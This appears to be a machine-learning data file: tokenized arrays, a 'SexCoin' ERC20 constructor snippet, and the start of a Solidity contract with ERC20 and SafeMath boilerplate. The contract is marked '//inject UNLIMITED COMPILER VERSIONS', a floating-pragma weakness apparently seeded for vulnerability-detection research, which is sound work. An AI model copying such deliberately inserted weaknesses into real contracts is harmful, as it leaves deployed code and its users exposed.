0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
29116,
22352,
12,
11890,
5034,
3844,
13,
1071,
1338,
5541,
1135,
261,
6430,
13,
288,
203,
565,
389,
81,
474,
24899,
3576,
12021,
9334,
3844,
1769,
203,
565,
327,
638,
31,
203,
225,
289,
203,
21281,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/3/0xef709b6E24794a7c7a18de3A6991105E61a2E82a/sources/SexCoin.sol
|
* @dev Constructor that gives _msgSender() all of existing tokens./
|
constructor () public ERC20Detailed("Sex Coin", "SEX", 8) {
_mint(_msgSender(), 10000000 * (10 ** uint256(decimals())));
}
| 5,166,301 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
11417,
716,
14758,
389,
3576,
12021,
1435,
777,
434,
2062,
2430,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
3885,
1832,
1071,
4232,
39,
3462,
40,
6372,
2932,
55,
338,
28932,
3113,
315,
1090,
60,
3113,
1725,
13,
288,
203,
5411,
389,
81,
474,
24899,
3576,
12021,
9334,
2130,
11706,
380,
261,
2163,
2826,
2254,
5034,
12,
31734,
1435,
3719,
1769,
203,
3639,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.10; //inject UNLIMITED COMPILER VERSIONS
/// @title Interface for interacting with the MarbleCards Core contract created by the fine folks at Marble.Cards.
contract CardCore {
function approve(address _approved, uint256 _tokenId) external payable;
function ownerOf(uint256 _tokenId) public view returns (address owner);
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function getApproved(uint256 _tokenId) external view returns (address);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
